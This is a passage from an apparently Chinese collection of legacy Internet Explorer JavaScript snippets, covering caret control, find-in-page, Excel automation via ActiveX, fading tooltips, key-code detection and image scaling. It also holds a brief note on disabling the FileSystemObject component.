#0000ff">function</SPAN>&nbsp;setCaret(textbox,pos) <BR>{ <BR>&nbsp;try <BR>&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;r&nbsp;=textbox.createTextRange(); <BR>&nbsp;&nbsp;&nbsp;r.moveStart('character',pos); <BR>&nbsp;&nbsp;&nbsp;r.collapse(<SPAN style="COLOR: #0000ff">true</SPAN>); <BR>&nbsp;&nbsp;&nbsp;r.select(); <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">catch</SPAN>(e) <BR>&nbsp;{} <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;selectLength(textbox,start,len) <BR>{ <BR>&nbsp;try <BR>&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;r&nbsp;=textbox.createTextRange(); <BR>&nbsp; <BR>&nbsp;&nbsp;r.moveEnd('character',len-(textbox.value.length-start)); <BR>&nbsp;&nbsp;r.moveStart('character',start); <BR>&nbsp;&nbsp; <BR>&nbsp;&nbsp;r.select(); <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">catch</SPAN>(e) <BR>&nbsp;{<SPAN style="COLOR: #008000">//alert(e.description)} </SPAN><BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;insertAtCaret(textbox,text) <BR>{ <BR>&nbsp;textbox.focus(); <BR>&nbsp;document.selection.createRange().text&nbsp;=&nbsp;text; <BR>} </DIV></FONT>
<P><BR><FONT size=2><STRONG>//页内查找</STRONG> <BR></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;findInPage(str) <BR>{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;txt,&nbsp;i,&nbsp;found,n&nbsp;=&nbsp;0; <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(str&nbsp;==&nbsp;<SPAN style="COLOR: #ff00ff">""</SPAN>) <BR>&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>; <BR>&nbsp;} <BR>&nbsp;txt&nbsp;=&nbsp;document.body.createTextRange(); <BR>&nbsp;for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;=&nbsp;n&nbsp;&&&nbsp;(found&nbsp;=&nbsp;txt.findText(str))&nbsp;!=&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>;&nbsp;i++) <BR>&nbsp;{ <BR>&nbsp;&nbsp;txt.moveStart(<SPAN style="COLOR: #ff00ff">"character"</SPAN>,&nbsp;1); <BR>&nbsp;&nbsp;txt.moveEnd(<SPAN style="COLOR: #ff00ff">"textedit"</SPAN>); <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(found) <BR>&nbsp;{ <BR>&nbsp;&nbsp;txt.moveStart(<SPAN style="COLOR: #ff00ff">"character"</SPAN>,&nbsp;-1); <BR>&nbsp;&nbsp;txt.findText(str); <BR>&nbsp;&nbsp;txt.select(); <BR>&nbsp;&nbsp;txt.scrollIntoView(); <BR>&nbsp;&nbsp;n++;&nbsp;&nbsp; <BR>&nbsp;} <BR>&nbsp;else <BR>&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(n&nbsp;&gt;&nbsp;0) <BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;n&nbsp;=&nbsp;0; <BR>&nbsp;&nbsp;&nbsp;findInPage(str); <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;else <BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;alert(str&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"...&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;您要找的文字不存在。\n&nbsp;\n请试着输入页面中的关键字再次查找！"</SPAN>); <BR>&nbsp;&nbsp;} <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>; <BR>} </DIV>
<P><STRONG>//书</STRONG> </P>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><A href="http://www.itpub.net/attachment.php?s=&postid=1894598"><FONT size=2>http://www.itpub.net/attachment.php?s=&postid=1894598</FONT></A> <BR><A href="http://www.wrclub.net/down/listdown.aspx?id=1341"><FONT size=2>http://www.wrclub.net/down/listdown.aspx?id=1341</FONT></A><SPAN style="COLOR: #008000"> 
<P><FONT size=2><STRONG>//操作EXECL</STRONG></FONT> </P></SPAN></DIV></FONT>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;script&nbsp;language=<SPAN style="COLOR: #ff00ff">"javascript"</SPAN>&gt; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;jStartExcel()&nbsp;{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;xls&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>&nbsp;(&nbsp;<SPAN style="COLOR: #ff00ff">"Excel.Application"</SPAN>&nbsp;); <BR>&nbsp;xls.visible&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">true</SPAN>; <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;newBook&nbsp;=&nbsp;xls.Workbooks.Add; <BR>&nbsp;newBook.Worksheets.Add; <BR>&nbsp;newBook.Worksheets(1).Activate; <BR>&nbsp;xls.ActiveWorkBook.ActiveSheet.PageSetup.Orientation&nbsp;=&nbsp;2; <BR>&nbsp;xls.ActiveWorkBook.ActiveSheet.PageSetup.PaperSize&nbsp;=&nbsp;5; <BR>&nbsp;newBook.Worksheets(1).Columns(<SPAN style="COLOR: #ff00ff">"A"</SPAN>).columnwidth=50; <BR>&nbsp;newBook.Worksheets(1).Columns(<SPAN style="COLOR: #ff00ff">"A"</SPAN>).WrapText&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">true</SPAN>; <BR>&nbsp;newBook.Worksheets(1).Columns(<SPAN style="COLOR: #ff00ff">"B"</SPAN>).columnwidth=50; <BR>&nbsp;newBook.Worksheets(1).Columns(<SPAN style="COLOR: #ff00ff">"B"</SPAN>).WrapText&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">true</SPAN>; <BR>&nbsp;newBook.Worksheets(1).Range(<SPAN style="COLOR: #ff00ff">"A1:B1000"</SPAN>).NumberFormat&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">"0"</SPAN>; <BR>&nbsp;newBook.Worksheets(1).Range(<SPAN style="COLOR: #ff00ff">"A1:B1000"</SPAN>).HorizontalAlignment&nbsp;=&nbsp;-4131; <BR>&nbsp;newBook.Worksheets(1).Cells(1,1).Interior.ColorIndex=<SPAN style="COLOR: #ff00ff">"15"</SPAN>; <BR>&nbsp;newBook.Worksheets(1).Cells(1,1).value=<SPAN style="COLOR: #ff00ff">"First&nbsp;Column,&nbsp;First&nbsp;Cell"</SPAN>; <BR>&nbsp;newBook.Worksheets(1).Cells(2,1).value=<SPAN style="COLOR: #ff00ff">"First&nbsp;Column,&nbsp;Second&nbsp;Cell"</SPAN>; <BR>&nbsp;newBook.Worksheets(1).Cells(1,2).value=<SPAN style="COLOR: #ff00ff">"Second&nbsp;Column,&nbsp;First&nbsp;Cell"</SPAN>; <BR>&nbsp;newBook.Worksheets(1).Cells(2,2).value=<SPAN style="COLOR: #ff00ff">"Second&nbsp;Column,&nbsp;Second&nbsp;Cell"</SPAN>; <BR>&nbsp;newBook.Worksheets(1).Name=<SPAN style="COLOR: #ff00ff">"My&nbsp;First&nbsp;WorkSheet"</SPAN>; <BR>} <BR>&lt;/script&gt; </DIV>
<P><BR><FONT size=2><STRONG>//自定义提示条 <BR></STRONG></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;a&nbsp;href=<SPAN style="COLOR: #ff00ff">"#"</SPAN>&nbsp;title=<SPAN style="COLOR: #ff00ff">"这是提示"</SPAN>&gt;tip&lt;/a&gt; <BR>&lt;script&nbsp;Language=<SPAN style="COLOR: #ff00ff">"JavaScript"</SPAN>&gt; <BR><SPAN style="COLOR: #008000">//***********默认设置定义.********************* </SPAN><BR>tPopWait=50;<SPAN style="COLOR: #008000">//停留tWait豪秒后显示提示。 </SPAN><BR>tPopShow=5000;<SPAN style="COLOR: #008000">//显示tShow豪秒后关闭提示 </SPAN><BR>showPopStep=20; <BR>popOpacity=99; <BR><SPAN style="COLOR: #008000">//***************内部变量定义***************** </SPAN><BR>sPop=<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>curShow=<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>tFadeOut=<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>tFadeIn=<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>tFadeWaiting=<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>document.write(<SPAN style="COLOR: #ff00ff">"&lt;style&nbsp;type='text/css'id='defaultPopStyle'&gt;"</SPAN>); <BR>document.write(<SPAN style="COLOR: #ff00ff">".cPopText&nbsp;{&nbsp;&nbsp;background-color:&nbsp;#F8F8F5;color:#000000;&nbsp;border:&nbsp;1px&nbsp;#000000&nbsp;solid;font-color:&nbsp;font-size:&nbsp;12px;&nbsp;padding-right:&nbsp;4px;&nbsp;padding-left:&nbsp;4px;&nbsp;height:&nbsp;20px;&nbsp;padding-top:&nbsp;2px;&nbsp;padding-bottom:&nbsp;2px;&nbsp;filter:&nbsp;Alpha(Opacity=0)}"</SPAN>); <BR>document.write(<SPAN style="COLOR: #ff00ff">"&lt;/style&gt;"</SPAN>); <BR>document.write(<SPAN style="COLOR: #ff00ff">"&lt;div&nbsp;id='dypopLayer'&nbsp;style='position:absolute;z-index:1000;'&nbsp;class='cPopText'&gt;&lt;/div&gt;"</SPAN>); <BR><BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;showPopupText(){ <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;o=event.srcElement; <BR>MouseX=event.x; <BR>MouseY=event.y; <BR><SPAN style="COLOR: #0000ff">if</SPAN>(o.alt!=<SPAN style="COLOR: #0000ff">null</SPAN>&nbsp;&&&nbsp;o.alt!=<SPAN style="COLOR: #ff00ff">""</SPAN>){o.dypop=o.alt;o.alt=<SPAN style="COLOR: #ff00ff">""</SPAN>}; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(o.title!=<SPAN style="COLOR: #0000ff">null</SPAN>&nbsp;&&&nbsp;o.title!=<SPAN style="COLOR: #ff00ff">""</SPAN>){o.dypop=o.title;o.title=<SPAN style="COLOR: #ff00ff">""</SPAN>}; <BR><SPAN style="COLOR: #0000ff">if</SPAN>(o.dypop!=sPop)&nbsp;{ <BR>sPop=o.dypop; <BR>clearTimeout(curShow); <BR>clearTimeout(tFadeOut); <BR>clearTimeout(tFadeIn); <BR>clearTimeout(tFadeWaiting); <BR><SPAN style="COLOR: #0000ff">if</SPAN>(sPop==<SPAN style="COLOR: #0000ff">null</SPAN>&nbsp;||&nbsp;sPop==<SPAN style="COLOR: #ff00ff">""</SPAN>)&nbsp;{ <BR>dypopLayer.innerHTML=<SPAN style="COLOR: #ff00ff">""</SPAN>; <BR>dypopLayer.style.filter=<SPAN style="COLOR: #ff00ff">"Alpha()"</SPAN>; <BR>dypopLayer.filters.Alpha.opacity=0; <BR>} <BR><SPAN style="COLOR: #0000ff">else</SPAN>&nbsp;{ <BR><SPAN style="COLOR: #0000ff">if</SPAN>(o.dyclass!=<SPAN style="COLOR: #0000ff">null</SPAN>)&nbsp;popStyle=o.dyclass&nbsp; <BR><SPAN style="COLOR: #0000ff">else</SPAN>&nbsp;popStyle=<SPAN style="COLOR: #ff00ff">"cPopText"</SPAN>; <BR>curShow=setTimeout(<SPAN style="COLOR: #ff00ff">"showIt()"</SPAN>,tPopWait); <BR>} <BR>} <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;showIt(){ <BR>dypopLayer.className=popStyle; <BR>dypopLayer.innerHTML=sPop; <BR>popWidth=dypopLayer.clientWidth; <BR>popHeight=dypopLayer.clientHeight; <BR><SPAN style="COLOR: #0000ff">if</SPAN>(MouseX+12+popWidth&gt;document.body.clientWidth)&nbsp;popLeftAdjust=-popWidth-24 <BR><SPAN style="COLOR: #0000ff">else</SPAN>&nbsp;popLeftAdjust=0; <BR><SPAN style="COLOR: #0000ff">if</SPAN>(MouseY+12+popHeight&gt;document.body.clientHeight)&nbsp;popTopAdjust=-popHeight-24 <BR><SPAN style="COLOR: #0000ff">else</SPAN>&nbsp;popTopAdjust=0; <BR>dypopLayer.style.left=MouseX+12+document.body.scrollLeft+popLeftAdjust; <BR>dypopLayer.style.top=MouseY+12+document.body.scrollTop+popTopAdjust; <BR>dypopLayer.style.filter=<SPAN style="COLOR: #ff00ff">"Alpha(Opacity=0)"</SPAN>; <BR>fadeOut(); <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;fadeOut(){ <BR><SPAN style="COLOR: #0000ff">if</SPAN>(dypopLayer.filters.Alpha.opacity&lt;popOpacity)&nbsp;{ <BR>dypopLayer.filters.Alpha.opacity+=showPopStep; <BR>tFadeOut=setTimeout(<SPAN style="COLOR: #ff00ff">"fadeOut()"</SPAN>,1); <BR>} <BR><SPAN style="COLOR: #0000ff">else</SPAN>&nbsp;{ <BR>dypopLayer.filters.Alpha.opacity=popOpacity; <BR>tFadeWaiting=setTimeout(<SPAN style="COLOR: #ff00ff">"fadeIn()"</SPAN>,tPopShow); <BR>} <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;fadeIn(){ <BR><SPAN style="COLOR: #0000ff">if</SPAN>(dypopLayer.filters.Alpha.opacity&gt;0)&nbsp;{ <BR>dypopLayer.filters.Alpha.opacity-=1; <BR>tFadeIn=setTimeout(<SPAN style="COLOR: #ff00ff">"fadeIn()"</SPAN>,1); <BR>} <BR>} <BR>document.onmouseover=showPopupText; <BR>&lt;/script&gt; </DIV>
<P><STRONG>//插入文字</STRONG> </P></FONT>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">document.onclick&nbsp;=<SPAN style="COLOR: #0000ff">function</SPAN>(){&nbsp; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;oSource&nbsp;=&nbsp;window.event.srcElement;&nbsp; <BR><SPAN style="COLOR: #0000ff">if</SPAN>(oSource.tagName!=<SPAN style="COLOR: #ff00ff">"DIV"</SPAN>)&nbsp; <BR><SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>;&nbsp; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;sel&nbsp;=&nbsp;document.selection;&nbsp; <BR><SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(sel!=<SPAN style="COLOR: #0000ff">null</SPAN>)&nbsp;{&nbsp; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;rng&nbsp;=&nbsp;sel.createRange();&nbsp; <BR><SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(rng!=<SPAN style="COLOR: #0000ff">null</SPAN>)&nbsp; <BR>rng.pasteHTML(<SPAN style="COLOR: #ff00ff">"&lt;font&nbsp;color=red&gt;插入文字&lt;/font&gt;"</SPAN>);&nbsp; <BR>}&nbsp; <BR>}&nbsp; </DIV>
<P><FONT size=2><STRONG>//netscapte下操作xml</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">doc&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"Msxml2.DOMDocument"</SPAN>); <BR>doc&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">ActiveXObject</SPAN>(<SPAN style="COLOR: #ff00ff">"Microsoft.XMLDOM"</SPAN>) <BR>-&gt;&gt; <BR>doc&nbsp;=&nbsp;(<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;DOMParser()).parseFromString(sXML,'text/xml') </DIV></FONT>
<P></P>
<P><FONT size=2><STRONG>//判断键值</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;html&gt; <BR>&lt;meta&nbsp;http-equiv=<SPAN style="COLOR: #ff00ff">"Content-Type"</SPAN>&nbsp;content=<SPAN style="COLOR: #ff00ff">"text/html;&nbsp;charset=gb2312"</SPAN>&gt; <BR>&lt;head&gt; <BR>&lt;script&nbsp;language=<SPAN style="COLOR: #ff00ff">"javascript"</SPAN>&gt; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;ie&nbsp;&nbsp;=navigator.appName==<SPAN style="COLOR: #ff00ff">"Microsoft&nbsp;Internet&nbsp;Explorer"</SPAN>?<SPAN style="COLOR: #0000ff">true</SPAN>:<SPAN style="COLOR: #0000ff">false</SPAN>; <BR>&nbsp;&nbsp; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;keyDown(e) <BR>{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(!ie) <BR>&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;nkey=e.which; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;iekey='现在是ns浏览器'; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;realkey=<SPAN style="COLOR: #ff0000">String</SPAN>.fromCharCode(e.which); <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(ie) <BR>&nbsp;{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;iekey=event.keyCode; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;nkey='现在是ie浏览器'; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;realkey=<SPAN style="COLOR: #ff0000">String</SPAN>.fromCharCode(event.keyCode); <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(event.keyCode==32){realkey='\'&nbsp;空格\''} <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(event.keyCode==13){realkey='\'&nbsp;回车\''} <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(event.keyCode==27){realkey='\'&nbsp;Esc\''} <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(event.keyCode==16){realkey='\'&nbsp;Shift\''} <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(event.keyCode==17){realkey='\'&nbsp;Ctrl\''} <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(event.keyCode==18){realkey='\'&nbsp;Alt\''} <BR>&nbsp;} <BR>&nbsp;alert('ns浏览器中键值:'+nkey+'\n'+'ie浏览器中键值:'+iekey+'\n'+'实际键为'+realkey); <BR>} <BR>document.onkeydown&nbsp;=&nbsp;keyDown; <BR>&lt;/script&gt; <BR>&lt;/head&gt; <BR>&lt;body&gt; <BR><SPAN style="COLOR: #008000">//Javascript&nbsp;Document. </SPAN><BR>&lt;hr&gt; <BR>&lt;center&gt; <BR>&lt;h3&gt;请按任意一个键。。。。&lt;/h3&gt; <BR>&lt;/center&gt; <BR>&lt;/body&gt; <BR>&lt;/html&gt; </DIV></FONT>
<P></P>
<P><FONT size=2><STRONG>//禁止FSO</STRONG> <BR></FONT></P>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">1.注销组件 <BR>regsvr32&nbsp;/u&nbsp;scrrun.dll <BR>2.修改PROGID&nbsp; <BR>HKEY_CLASSES_ROOT\Scripting.FileSystemObject <BR>Scripting.FileSystemObject <BR>3.对于使用object的用户，修改HKEY_CLASSES_ROOT\Scripting. </DIV>
<P><BR><FONT size=2><STRONG>//省略号</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;DIV&nbsp;STYLE=<SPAN style="COLOR: #ff00ff">"width:&nbsp;120px;&nbsp;height:&nbsp;50px;&nbsp;border:&nbsp;1px&nbsp;solid&nbsp;blue; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;overflow:&nbsp;hidden;&nbsp;text-overflow:ellipsis"</SPAN>&gt; <BR>&lt;NOBR&gt;就是比如有一行文字，很长，表格内一行显示不下.&lt;/NOBR&gt; <BR>&lt;/DIV&gt; </DIV></FONT>
<P></P>
<P><FONT size=2><STRONG>//检测media play版本 <BR></STRONG>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;IE:clientCaps&nbsp;ID=<SPAN style="COLOR: #ff00ff">"oClientCaps"</SPAN>&nbsp;style=<SPAN style="COLOR: #ff00ff">"{behavior:url(#default#clientcaps)}"</SPAN>&nbsp;/&gt; <BR>&lt;SCRIPT&gt; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;flash=<SPAN style="COLOR: #ff00ff">""</SPAN>; <BR>&nbsp;&nbsp;&nbsp;&nbsp;WMPVersion=&nbsp;oClientCaps.getComponentVersion(<SPAN style="COLOR: #ff00ff">"{22D6F312-B0F6-11D0-94AB-0080C74C7E95}"</SPAN>,<SPAN style="COLOR: #ff00ff">"ComponentID"</SPAN>);&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(WMPVersion&nbsp;!=&nbsp;<SPAN style="COLOR: #ff00ff">""</SPAN>)&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;flash&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">""</SPAN>; <BR>&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;version&nbsp;=&nbsp;WMPVersion.split(<SPAN style="COLOR: #ff00ff">","</SPAN>); <BR>&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;i; <BR>&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;version.length;&nbsp;i++)&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(i&nbsp;!=&nbsp;0) <BR>&nbsp;&nbsp;&nbsp;&nbsp;flash&nbsp;+=&nbsp;<SPAN style="COLOR: #ff00ff">"."</SPAN>; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;flash&nbsp;+=&nbsp;version[i]; <BR>&nbsp;&nbsp;&nbsp;&nbsp;} <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.write(<SPAN style="COLOR: #ff00ff">"您的Windows&nbsp;Media&nbsp;Player&nbsp;版本是:"</SPAN>+flash+<SPAN style="COLOR: #ff00ff">"&lt;p&gt;"</SPAN>); <BR>&nbsp;&nbsp;} <BR>&lt;/SCRIPT&gt; </DIV>
<P><BR></P></FONT>
<P></P>
<P><FONT size=2><STRONG>//图象按比例 <BR></STRONG>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;script&nbsp;language=<SPAN style="COLOR: #ff00ff">"JavaScript"</SPAN>&gt; <BR>&lt;!-- <BR><SPAN style="COLOR: #008000">//图片按比例缩放 </SPAN><BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;flag=<SPAN style="COLOR: #0000ff">false</SPAN>; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;DrawImage(ImgD){ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;image=<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;Image(); <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;iwidth&nbsp;=&nbsp;80;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//定义允许图片宽度 </SPAN><BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;iheight&nbsp;=&nbsp;80;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//定义允许图片高度 </SPAN><BR>&nbsp;image.src=ImgD.src; <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(image.width&gt;0&nbsp;&&&nbsp;image.height&gt;0){ <BR>&nbsp;flag=<SPAN style="COLOR: #0000ff">true</SPAN>; <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(image.width/image.height&gt;=&nbsp;iwidth/iheight){ <BR>&nbsp;&nbsp;<SPAN style="COLOR: 